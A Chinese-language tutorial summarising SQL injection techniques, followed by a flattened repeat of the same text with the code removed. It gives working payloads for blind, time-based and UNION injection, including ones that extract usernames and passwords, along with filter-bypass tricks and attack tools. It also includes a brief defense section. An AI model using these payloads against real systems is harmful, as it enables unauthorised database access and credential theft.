常见sql注入手法总结与技巧(一)
字数 1121 2025-08-11 00:08:50

SQL注入手法总结与技巧

1. SQL注入基础概念

1.1 SQL注入定义

SQL注入是一种攻击技术,攻击者通过在应用程序的输入字段中插入恶意SQL语句,从而绕过安全措施,直接操作后端数据库。

1.2 根本产生原因

后端服务器接收传来的参数未经过严格过滤判断而直接进入数据库查询。

1.3 注入原理示例

原始SQL语句:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入攻击:

id = -1' union select database() #

最终执行:

SELECT * FROM users WHERE id='-1' union select database() #' LIMIT 0,1

2. SQL参数类型分类

2.1 数字型注入

  • 示例:select * from table where id=2
  • 特点:不需要单引号闭合

2.2 字符型注入

  • 示例:select * from table where id='2'
  • 特点:需要通过单引号闭合

2.3 类型判断方法

  1. 方法一:

    id=1 order by 9999 --+
    
    • 正确返回页面:字符型
    • 否则:数字型
  2. 方法二:

    1 and 1=2
    
    • 正确返回页面:字符型
    • 否则:数字型

3. 常用SQL注入Payload

select database()
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_name='xxxx'
select group_concat(字段名) from 表名

4. SQL注入手法分类

4.1 布尔盲注

  • 适用于页面有明确真假状态的情况
  • 常用函数:
    • substr(字符串, 开始位置, 长度)
    • ascii() - 返回首字母ASCII码
    • length() - 返回字符串长度

布尔盲注步骤:

  1. 判断数据库名长度:

    id=1' and length(database())=8 --+
    
  2. 逐字符判断数据库名:

    id=1' and ascii(substr(database(),1,1))=115 --+
    
  3. 获取表名:

    id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
    
  4. 获取字段名:

    id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+
    
  5. 获取数据:

    id=1' and ascii(substr((select id from users limit 0,1),1,1))=100 --+
    

4.2 时间盲注

  • 适用于无任何回显的情况
  • 利用页面响应时间作为判断依据
  • 常用函数:
    • sleep(n) - 延迟n秒
    • if(条件, 真值, 假值)

时间盲注示例:

id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+

4.3 Union联合注入

  • 适用于有回显的注入点
  • 基本步骤:
  1. 判断注入点类型(字符/数字)

  2. 使用order by确定字段数:

    order by 3 --+
    
  3. 确定回显位置:

    union select 1,2,3 --+
    
  4. 利用回显位获取信息:

    -1' union select 1,(select database()),3 --+
    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
    -1' union select 1,(select group_concat(id,username,password) from users),3 --+
    

4.4 其他注入类型

  • 报错注入
  • 堆叠注入
  • 二次注入
  • 宽字节注入
  • 通过SQL注入写webshell
  • 通过HTTP header注入

5. 防御建议

  1. 使用参数化查询(预编译语句)
  2. 对用户输入进行严格过滤和转义
  3. 最小权限原则,数据库账户只授予必要权限
  4. 使用Web应用防火墙(WAF)
  5. 定期进行安全审计和渗透测试

6. 实用技巧

  1. 注释符号:

    • #
    • --+
    • -- (注意后面有空格)
  2. 绕过技巧:

    • 大小写混合
    • 使用注释分割关键字
    • 使用URL编码
    • 使用十六进制编码
  3. 信息收集:

    • version() - 获取数据库版本
    • user() - 获取当前用户
    • @@datadir - 获取数据库路径

7. 工具推荐

  1. SQLmap - 自动化SQL注入工具
  2. Burp Suite - 用于手动测试和拦截修改请求
  3. Havij - 图形化SQL注入工具
  4. jSQL Injection - Java编写的SQL注入工具

注意:本文仅用于教育目的,切勿用于非法活动。

SQL注入手法总结与技巧 1. SQL注入基础概念 1.1 SQL注入定义 SQL注入是一种攻击技术,攻击者通过在应用程序的输入字段中插入恶意SQL语句,从而绕过安全措施,直接操作后端数据库。 1.2 根本产生原因 后端服务器接收传来的参数未经过严格过滤判断而直接进入数据库查询。 1.3 注入原理示例 原始SQL语句: 注入攻击: 最终执行: 2. SQL参数类型分类 2.1 数字型注入 示例: select * from table where id=2 特点:不需要单引号闭合 2.2 字符型注入 示例: select * from table where id='2' 特点:需要通过单引号闭合 2.3 类型判断方法 方法一: 正确返回页面:字符型 否则:数字型 方法二: 正确返回页面:字符型 否则:数字型 3. 常用SQL注入Payload 4. SQL注入手法分类 4.1 布尔盲注 适用于页面有明确真假状态的情况 常用函数: substr(字符串, 开始位置, 长度) ascii() - 返回首字母ASCII码 length() - 返回字符串长度 布尔盲注步骤: 判断数据库名长度: 逐字符判断数据库名: 获取表名: 获取字段名: 获取数据: 4.2 时间盲注 适用于无任何回显的情况 利用页面响应时间作为判断依据 常用函数: sleep(n) - 延迟n秒 if(条件, 真值, 假值) 时间盲注示例: 4.3 Union联合注入 适用于有回显的注入点 基本步骤: 判断注入点类型(字符/数字) 使用 order by 确定字段数: 确定回显位置: 利用回显位获取信息: 4.4 其他注入类型 报错注入 堆叠注入 二次注入 宽字节注入 通过SQL注入写webshell 通过HTTP header注入 5. 防御建议 使用参数化查询(预编译语句) 对用户输入进行严格过滤和转义 最小权限原则,数据库账户只授予必要权限 使用Web应用防火墙(WAF) 定期进行安全审计和渗透测试 6. 实用技巧 注释符号: # --+ -- (注意后面有空格) 绕过技巧: 大小写混合 使用注释分割关键字 使用URL编码 使用十六进制编码 信息收集: version() - 获取数据库版本 user() - 获取当前用户 @@datadir - 获取数据库路径 7. 工具推荐 SQLmap - 自动化SQL注入工具 Burp Suite - 用于手动测试和拦截修改请求 Havij - 图形化SQL注入工具 jSQL Injection - Java编写的SQL注入工具 注意:本文仅用于教育目的,切勿用于非法活动。